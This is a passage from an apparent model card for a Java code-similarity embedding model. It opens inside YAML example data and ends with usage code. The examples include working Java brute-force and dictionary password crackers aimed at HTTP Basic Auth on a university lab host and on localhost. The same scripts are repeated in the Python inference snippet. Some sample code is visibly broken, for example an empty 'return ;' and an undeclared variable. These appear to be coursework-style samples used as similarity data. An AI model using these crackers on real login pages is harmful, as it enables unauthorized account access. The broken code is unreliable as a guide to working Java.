\ {\n \n if (discards[i] == 2)\n discards[i]\ |
|
|
\ = 0;\n else if (discards[i] != 0)\n {\n \ |
|
|
\ \n int j;\n int length;\n int\ |
|
|
\ provisional = 0;\n\n \n for (j = i; j < end; j++)\n\ |
|
|
\ {\n if (discards[j] == 0)\n \ |
|
|
\ break;\n if (discards[j] == 2)\n \ |
|
|
\ ++provisional;\n }\n\n \n \ |
|
|
\ while (j > i && discards[j - 1] == 2) {\n discards[--j]\ |
|
|
\ = 0; --provisional;\n }\n\n \n \ |
|
|
\ length = j - i;\n\n \n if (provisional * 4 > length)\n\ |
|
|
\ {\n while (j > i)\n \ |
|
|
\ if (discards[--j] == 2)\n discards[j] = 0;\n \ |
|
|
\ }\n else\n {\n \ |
|
|
\ int consec;\n int minimum = 1;\n int tem\ |
|
|
\ = length / 4;\n\n \n while ((tem = tem\ |
|
|
\ >> 2) > 0)\n minimum *= 2;\n minimum++;\n\ |
|
|
\n \n for (j = 0, consec = 0; j < length;\ |
|
|
\ j++)\n if (discards[i + j] != 2)\n \ |
|
|
\ consec = 0;\n else if (minimum == ++consec)\n \ |
|
|
\ \n j -= consec;\n \ |
|
|
\ else if (minimum < consec)\n discards[i + j] = 0;\n\ |
|
|
\n \n for (j = 0, consec = 0; j < length;\ |
|
|
\ j++)\n {\n if (j >= 8 && discards[i\ |
|
|
\ + j] == 1)\n break;\n if (discards[i\ |
|
|
\ + j] == 2) {\n consec = 0; discards[i + j] = 0;\n \ |
|
|
\ }\n else if (discards[i + j] ==\ |
|
|
\ 0)\n consec = 0;\n else\n \ |
|
|
\ consec++;\n if (consec == 3)\n\ |
|
|
\ break;\n }\n\n \ |
|
|
\ \n i += length - 1;\n\n \n \ |
|
|
\ for (j = 0, consec = 0; j < length; j++)\n \ |
|
|
\ {\n if (j >= 8 && discards[i - j] == 1)\n \ |
|
|
\ break;\n if (discards[i - j] == 2) {\n\ |
|
|
\ consec = 0; discards[i - j] = 0;\n \ |
|
|
\ }\n else if (discards[i - j] == 0)\n \ |
|
|
\ consec = 0;\n else\n \ |
|
|
\ consec++;\n if (consec == 3)\n \ |
|
|
\ break;\n }\n }\n \ |
|
|
\ }\n }\n }\n\n \n private void discard(final byte[] discards)\ |
|
|
\ {\n final int end = buffered_lines;\n int j = 0;\n for (int i\ |
|
|
\ = 0; i < end; ++i)\n if (no_discards || discards[i] == 0)\n \ |
|
|
\ {\n undiscarded[j] = equivs[i];\n realindexes[j++] = i;\n\ |
|
|
\ }\n else\n changed_flag[1+i] = true;\n nondiscarded_lines\ |
|
|
\ = j;\n }\n\n file_data(Object[] data,Hashtable h) {\n buffered_lines\ |
|
|
\ = data.length;\n\n equivs = new int[buffered_lines]; \n undiscarded\ |
|
|
\ = new int[buffered_lines];\n realindexes = new int[buffered_lines];\n\n\ |
|
|
\ for (int i = 0; i < data.length; ++i) {\n Integer ir = (Integer)h.get(data[i]);\n\ |
|
|
\ if (ir == null)\n h.put(data[i],new Integer(equivs[i] = equiv_max++));\n\ |
|
|
\ else\n equivs[i] = ir.intValue();\n }\n }\n\n \n\n\ |
|
|
\ void shift_boundaries(file_data f) {\n final boolean[] changed = changed_flag;\n\ |
|
|
\ final boolean[] other_changed = f.changed_flag;\n int i = 0;\n \ |
|
|
\ int j = 0;\n int i_end = buffered_lines;\n int preceding = -1;\n\ |
|
|
\ int other_preceding = -1;\n\n for (;;)\n {\n int start,\ |
|
|
\ end, other_start;\n\n \n\n while (i < i_end && !changed[1+i])\n\ |
|
|
\ {\n while (other_changed[1+j++])\n \n\ |
|
|
\ other_preceding = j;\n i++;\n }\n\n \ |
|
|
\ if (i == i_end)\n break;\n\n start = i;\n \ |
|
|
\ other_start = j;\n\n for (;;)\n {\n \n\n\ |
|
|
\ while (i < i_end && changed[1+i]) i++;\n end = i;\n\ |
|
|
\n \n\n \n\n if (end != i_end\n \ |
|
|
\ && equivs[start] == equivs[end]\n && !other_changed[1+j]\n\ |
|
|
\ && end != i_end\n && !((preceding >= 0 &&\ |
|
|
\ start == preceding)\n || (other_preceding >= 0\n \ |
|
|
\ && other_start == other_preceding)))\n {\n\ |
|
|
\ changed[1+end++] = true;\n changed[1+start++]\ |
|
|
\ = false;\n ++i;\n \n ++j;\n\ |
|
|
\ }\n else\n break;\n }\n\ |
|
|
\n preceding = i;\n other_preceding = j;\n }\n }\n\ |
|
|
\n \n final int buffered_lines;\n\n \n private final int[] equivs;\n\ |
|
|
\n \n final int[] undiscarded;\n\n \n final int[] realindexes;\n\ |
|
|
\n \n int nondiscarded_lines;\n\n \n boolean[] changed_flag;\n\ |
|
|
\n }\n}\n" |
|
|
- "package java.httputils;\n\nimport java.io.BufferedOutputStream;\nimport java.io.FileNotFoundException;\n\ |
|
|
import java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\ |
|
|
import java.net.MalformedURLException;\nimport java.sql.Timestamp;\nimport java.util.Observable;\n\ |
|
|
\npublic class BruteForce extends Observable\n{\n \n protected Timestamp\ |
|
|
\ start;\n protected Timestamp end;\n protected String URL = \"http://localhost:8080/secret/index.html\"\ |
|
|
;\n protected String userName = \"\";\n protected String content = \"\"\ |
|
|
;\n protected int attempts = 0;\n protected String password;\n protected\ |
|
|
\ String fileName;\n\n public static final char[] letters =\n {\n \ |
|
|
\ 'a',\n 'b',\n 'c',\n 'd',\n \ |
|
|
\ 'e',\n 'f',\n 'g',\n 'h',\n \ |
|
|
\ 'i',\n 'j',\n 'k',\n 'l',\n 'm',\n\ |
|
|
\ 'n',\n 'o',\n 'p',\n 'q',\n \ |
|
|
\ 'r',\n 's',\n 't',\n 'u',\n \ |
|
|
\ 'v',\n 'w',\n 'x',\n 'y',\n 'z',\n\ |
|
|
\ 'A',\n 'B',\n 'C',\n 'D',\n \ |
|
|
\ 'E',\n 'F',\n 'G',\n 'H',\n \ |
|
|
\ 'I',\n 'J',\n 'K',\n 'L',\n 'M',\n\ |
|
|
\ 'N',\n 'O',\n 'P',\n 'Q',\n \ |
|
|
\ 'R',\n 'S',\n 'T',\n 'U',\n \ |
|
|
\ 'V',\n 'W',\n 'X',\n 'Y',\n 'Z',\n\ |
|
|
\ ' '};\n \n public BruteForce()\n {\n }\n\n \n public\ |
|
|
\ void process()\n {\n StringBuffer password = new StringBuffer(\"aaa\"\ |
|
|
);\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n\ |
|
|
\ for (int i = 0;\n i < letters.length - 1;\n password.setCharAt(0,\ |
|
|
\ letters[i]), i++)\n {\n for (int i2 = 0;\n \ |
|
|
\ i2 < letters.length;\n password.setCharAt(1, letters[i2]), i2++)\n\ |
|
|
\ {\n for (int i3 = 0;\n i3 < letters.length;\n\ |
|
|
\ password.setCharAt(2, letters[i3]), i3++)\n \ |
|
|
\ {\n try\n {\n \ |
|
|
\ attempts++;\n\n BasicAuthHttpRequest req =\n \ |
|
|
\ new BasicAuthHttpRequest(\n \ |
|
|
\ getURL(),\n getUserName(),\n \ |
|
|
\ password.toString().trim());\n setPassword(password.toString());\n\ |
|
|
\ setEnd(new Timestamp(System.currentTimeMillis()));\n\ |
|
|
\ setContent(req.getContent().toString());\n\n \ |
|
|
\ \n if (getFileName() != null && getFileName().length()\ |
|
|
\ > 0)\n {\n createReport();\n\ |
|
|
\ }\n return;\n \ |
|
|
\ }\n catch (MalformedURLException e)\n \ |
|
|
\ {\n e.printStackTrace();\n \ |
|
|
\ return;\n }\n catch (IOException e)\n\ |
|
|
\ {\n\n }\n }\n \ |
|
|
\ }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ |
|
|
\n\n }\n\n \n public void createReport()\n {\n OutputStream\ |
|
|
\ os = null;\n try\n {\n os = new BufferedOutputStream(\n\ |
|
|
\ new FileOutputStream(getFileName(), false));\n \ |
|
|
\ os.write(printResult().getBytes());\n }\n catch (FileNotFoundException\ |
|
|
\ e)\n {\n e.printStackTrace();\n }\n catch (IOException\ |
|
|
\ e)\n {\n e.printStackTrace();\n }\n finally\n\ |
|
|
\ {\n if (os != null)\n {\n try\n\ |
|
|
\ {\n os.close();\n }\n \ |
|
|
\ catch (IOException e)\n {\n }\n \ |
|
|
\ }\n }\n }\n\n \n public String printResult()\n {\n\ |
|
|
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** \" + this.getClass().getName()\ |
|
|
\ + \" Results **\\n\\n\");\n s.append(\"Password: \" + getPassword() +\ |
|
|
\ \"\\n\\n\");\n\n s.append(\"Attempts : \" + attempts + \"\\n\\n\");\n\ |
|
|
\n s.append(\n \"Time (seconds): \"\n + (getEnd().getTime()\ |
|
|
\ - getStart().getTime()) / 1000\n + \"\\n\\n\");\n s.append(\"\ |
|
|
Content: \\n\" + getContent() + \"\\n\\n\");\n\n return s.toString();\n\ |
|
|
\ }\n\n public String printUsage()\n {\n StringBuffer s = new\ |
|
|
\ StringBuffer();\n\n s.append(\"** BruteForce proper usage **\\n\\n\"\ |
|
|
);\n s.append(\n \"java ..httputils.BruteForce <URL> <UserName>\ |
|
|
\ <OutputFile - Optional>\\n\\n\");\n\n return s.toString();\n }\n\n\ |
|
|
\ public static void main(String[] args)\n {\n BruteForce bruteForce\ |
|
|
\ = new BruteForce();\n\n if (args.length < 2)\n {\n \ |
|
|
\ System.out.println(bruteForce.printUsage());\n }\n else\n \ |
|
|
\ {\n bruteForce.setURL(args[0]);\n bruteForce.setUserName(args[1]);\n\ |
|
|
\ if (args.length > 2)\n {\n bruteForce.setFileName(args[2]);\n\ |
|
|
\ }\n bruteForce.process();\n System.out.println(bruteForce.printResult());\n\ |
|
|
\ }\n }\n\n \n\n \n public Timestamp getEnd()\n {\n \ |
|
|
\ return end;\n }\n\n \n public Timestamp getStart()\n {\n \ |
|
|
\ return ;\n }\n\n \n public void setEnd(Timestamp timestamp)\n \ |
|
|
\ {\n end = timestamp;\n }\n\n \n public void setStart(Timestamp\ |
|
|
\ timestamp)\n {\n time = timestamp;\n }\n\n \n public String\ |
|
|
\ getURL()\n {\n return URL;\n }\n\n \n public void setURL(String\ |
|
|
\ string)\n {\n URL = string;\n }\n\n \n public String getUserName()\n\ |
|
|
\ {\n return userName;\n }\n\n \n public void setUserName(String\ |
|
|
\ string)\n {\n userName = string;\n }\n\n \n public String\ |
|
|
\ getContent()\n {\n return content;\n }\n\n \n public void\ |
|
|
\ setContent(String string)\n {\n content = string;\n }\n\n \n\ |
|
|
\ public String getPassword()\n {\n return password;\n }\n\n \ |
|
|
\ \n public void setPassword(String string)\n {\n password = string;\n\ |
|
|
\ }\n\n \n public String getFileName()\n {\n return fileName;\n\ |
|
|
\ }\n\n \n public void setFileName(String string)\n {\n fileName\ |
|
|
\ = string;\n }\n\n}\n" |
|
|
- "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\ |
|
|
\ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\ |
|
|
\ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\ |
|
|
\ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \ |
|
|
\ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\ |
|
|
\ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \ |
|
|
\ \n while(tmp!=1)\n {\n try\n {\n\ |
|
|
\ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\ |
|
|
\ tmp=1;\n }\n catch (IOException e) {}\n\ |
|
|
\ \n } \n\n while ((str = in.readLine()) !=\ |
|
|
\ null) \n {\n \n \n \n }\n \ |
|
|
\ \n\n System.out.println(\"The successful Password found using\ |
|
|
\ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\ |
|
|
\ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\ |
|
|
\ extends Authenticator \n{\n String username = \"\";\n static String password\ |
|
|
\ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \ |
|
|
\ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \ |
|
|
\ try\n {\n fReader = new BufferedReader\n \ |
|
|
\ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\ |
|
|
\ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\ |
|
|
);\n System.out.println(\" File Opened\");\n System.exit(1);\n\ |
|
|
\ }\n catch (IOException e)\n {\n System.out.println(\"\ |
|
|
File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\ |
|
|
\ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\ |
|
|
\ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\ |
|
|
\ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\ |
|
|
\ {\n System.out.println(\"Password Not found in file '\" +\ |
|
|
\ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \ |
|
|
\ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\ |
|
|
);\n System.out.println(ioe);\n }\n\n return password;\n }\n\ |
|
|
\n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\ |
|
|
\ \n return new PasswordAuthentication(username, getPass().toCharArray());\ |
|
|
\ \n\n } \n}\n" |
|
|
- source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate\ |
|
|
\ int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\ |
|
|
\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\ |
|
|
\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n" |
|
|
sentences: |
|
|
- "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public\ |
|
|
\ static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\ |
|
|
\ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\ |
|
|
\ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\ |
|
|
\ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\ |
|
|
try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\ |
|
|
\ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\ |
|
|
\ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\ |
|
|
\ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\ |
|
|
\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\ |
|
|
\ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\ |
|
|
\ password=password.trim();\n auth_data=null;\n\ |
|
|
\ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\ |
|
|
\ auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n\ |
|
|
\ conn=url.openConnection();\n conn.setDoInput (true);\n\ |
|
|
\ conn.setDoOutput(true);\n conn.setRequestProperty(\"\ |
|
|
GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty (\"Authorization\"\ |
|
|
, auth_data);\n server_res_code=conn.getHeaderField(0);\n \ |
|
|
\ server_res_code=server_res_code.substring(9,12);\n \ |
|
|
\ server_res_code.trim();\n cntr++;\n System.out.println(cntr\ |
|
|
\ + \" . \" + \"PASSWORD SEND : \" + password + \" SERVER RESPONSE : \" + server_res_code);\n\ |
|
|
\ if( server_res_code.compareTo(required_server_res_code)==0 )\n\ |
|
|
\ {System.out.println(\"PASSWORD IS : \" + password + \" SERVER\ |
|
|
\ RESPONSE : \" + server_res_code );\n i=j=k=123;}\n \ |
|
|
\ }\n\n \ |
|
|
\ }\n\n }\n }\n catch (Exception\ |
|
|
\ e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData\ |
|
|
\ (String getauthdata) {\n\nchar base64Array [] = {\n 'A', 'B', 'C', 'D',\ |
|
|
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ |
|
|
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ |
|
|
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r',\ |
|
|
\ 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4',\ |
|
|
\ '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString = \"\";\n\ |
|
|
\ byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n\ |
|
|
\ while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n\ |
|
|
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ |
|
|
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ |
|
|
\ if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n\ |
|
|
\ }\n else\n b3 = bytes [i++];\n }\n \ |
|
|
\ byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2\ |
|
|
\ >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte\ |
|
|
\ c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString\ |
|
|
\ += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString\ |
|
|
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \ |
|
|
\ break;\n case 1:\n encodedString += base64Array [c3];\n \ |
|
|
\ encodedString += \"=\";\n break;\n case 2:\n encodedString\ |
|
|
\ += \"==\";\n break;\n }\n }\n return \" \" + encodedString;\n\ |
|
|
\ }\n}" |
|
|
- "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ |
|
|
import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\ |
|
|
\ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\ |
|
|
\ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \ |
|
|
\ super();\n }\n\n \n public void run()\n {\n process();\n\ |
|
|
\ }\n\n public static void main(String[] args)\n {\n }\n \n \ |
|
|
\ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \ |
|
|
\ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \ |
|
|
\ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\ |
|
|
\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\ |
|
|
\ }\n\n \n public boolean isStop()\n {\n return stop;\n \ |
|
|
\ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \ |
|
|
\ }\n\n public void process()\n {\n String password = \"\";\n \ |
|
|
\ \n System.out.println(Thread.currentThread().getName() +\n \ |
|
|
\ \"-> workload: \" +\n this.letters[getRangeStart()]\ |
|
|
\ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\ |
|
|
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\ |
|
|
\ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \ |
|
|
\ {\n System.out.println(Thread.currentThread().getName() +\n \ |
|
|
\ \"-> Trying words beginning with: \" +\n \ |
|
|
\ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ |
|
|
\ i2++)\n {\n for (int i3 = 0;\n \ |
|
|
\ i3 < letters.length;\n i3++)\n \ |
|
|
\ {\n if (isStop())\n {\n \ |
|
|
\ return;\n }\n try\n \ |
|
|
\ {\n char [] arr = new char [] {letters[i],\ |
|
|
\ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ |
|
|
\ \n if (Thread.currentThread().getName().equals(\"\ |
|
|
Thread-1\") && pwd.equals(\"bad\"))\n {\n \ |
|
|
\ System.out.println(Thread.currentThread().getName() +\n \ |
|
|
\ \"-> Trying password: \" +\n \ |
|
|
\ pwd);\n }\n attempts++;\n\ |
|
|
\n BasicAuthHttpRequest req =\n \ |
|
|
\ new BasicAuthHttpRequest(\n getURL(),\n \ |
|
|
\ getUserName(),\n \ |
|
|
\ pwd);\n System.out.println(\"Got the password\");\n\ |
|
|
\ setPassword(pwd);\n setEnd(new\ |
|
|
\ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ |
|
|
\n \n this.setChanged();\n \ |
|
|
\ this.notifyObservers(this.getContent());\n \ |
|
|
\ return;\n }\n catch (MalformedURLException\ |
|
|
\ e)\n {\n e.printStackTrace();\n \ |
|
|
\ return;\n }\n catch\ |
|
|
\ (IOException e)\n {\n\n }\n \ |
|
|
\ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ |
|
|
\ }\n\n}\n" |
|
|
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\ |
|
|
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \ |
|
|
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\ |
|
|
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\ |
|
|
\ {\n return success;\n }\n \n\t\n public void setPageContents\ |
|
|
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \ |
|
|
\ public String getPageContents()\n {\n return pageContents;\n }\n\ |
|
|
} \n" |
|
|
pipeline_tag: sentence-similarity |
|
|
library_name: sentence-transformers |
|
|
--- |
|
|
|
|
|
# SentenceTransformer based on microsoft/unixcoder-base-unimodal |
|
|
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
|
|
## Model Details |
|
|
|
|
|
### Model Description |
|
|
- **Model Type:** Sentence Transformer |
|
|
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 --> |
|
|
- **Maximum Sequence Length:** 512 tokens |
|
|
- **Output Dimensionality:** 768 dimensions |
|
|
- **Similarity Function:** Cosine Similarity |
|
|
<!-- - **Training Dataset:** Unknown --> |
|
|
<!-- - **Language:** Unknown --> |
|
|
<!-- - **License:** Unknown --> |
|
|
|
|
|
### Model Sources |
|
|
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
|
|
### Full Model Architecture |
|
|
|
|
|
``` |
|
|
SentenceTransformer( |
|
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
|
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
|
) |
|
|
``` |
|
|
|
|
|
## Usage |
|
|
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
|
|
First install the Sentence Transformers library: |
|
|
|
|
|
```bash |
|
|
pip install -U sentence-transformers |
|
|
``` |
|
|
|
|
|
Then you can load this model and run inference. |
|
|
```python |
|
|
from sentence_transformers import SentenceTransformer |
|
|
|
|
|
# Download from the 🤗 Hub |
|
|
model = SentenceTransformer("buelfhood/SOCO-Java-UniXcoder-ST") |
|
|
# Run inference |
|
|
sentences = [ |
|
|
'\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n', |
|
|
'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public static void main(String[] args) {\n BruteForce brute=new BruteForce();\n brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91) { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++) {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6; }\n passwd[2]=(char) k;\n password=new String(passwd);\n password=password.trim();\n auth_data=null;\n auth_data=username + ":" + password;\n auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n auth_data=auth_data.trim();\n conn=url.openConnection();\n conn.setDoInput (true);\n conn.setDoOutput(true);\n conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n conn.setRequestProperty ("Authorization", auth_data);\n server_res_code=conn.getHeaderField(0);\n server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n cntr++;\n System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);\n if( server_res_code.compareTo(required_server_res_code)==0 )\n {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );\n i=j=k=123;}\n }\n\n }\n\n }\n }\n catch (Exception e) {\n System.err.print(e);\n }\n }\n\npublic String getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n String encodedString = "";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return " " + encodedString;\n }\n}', |
|
|
'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public RunnableBruteForce()\n {\n super();\n }\n\n \n public void run()\n {\n process();\n }\n\n public static void main(String[] args)\n {\n }\n \n public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n return stop;\n }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n }\n\n public void process()\n {\n String password = "";\n \n System.out.println(Thread.currentThread().getName() +\n "-> workload: " +\n this.letters[getRangeStart()] + " " +\n this.letters[getRangeEnd() - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int i = getRangeStart();\n i < getRangeEnd();\n i++)\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying words beginning with: " +\n letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n i2++)\n {\n for (int i3 = 0;\n i3 < letters.length;\n i3++)\n {\n if (isStop())\n {\n return;\n }\n try\n {\n char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n String pwd = new String(arr);\n \n if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n {\n System.out.println(Thread.currentThread().getName() +\n "-> Trying password: " +\n pwd);\n }\n attempts++;\n\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n pwd);\n System.out.println("Got the password");\n setPassword(pwd);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n this.setChanged();\n this.notifyObservers(this.getContent());\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n }\n\n}\n', |
|
|
] |
|
|
embeddings = model.encode(sentences) |
|
|
print(embeddings.shape) |
|
|
# [3, 768] |
|
|
|
|
|
# Get the similarity scores for the embeddings |
|
|
similarities = model.similarity(embeddings, embeddings) |
|
|
print(similarities.shape) |
|
|
# [3, 3] |
|
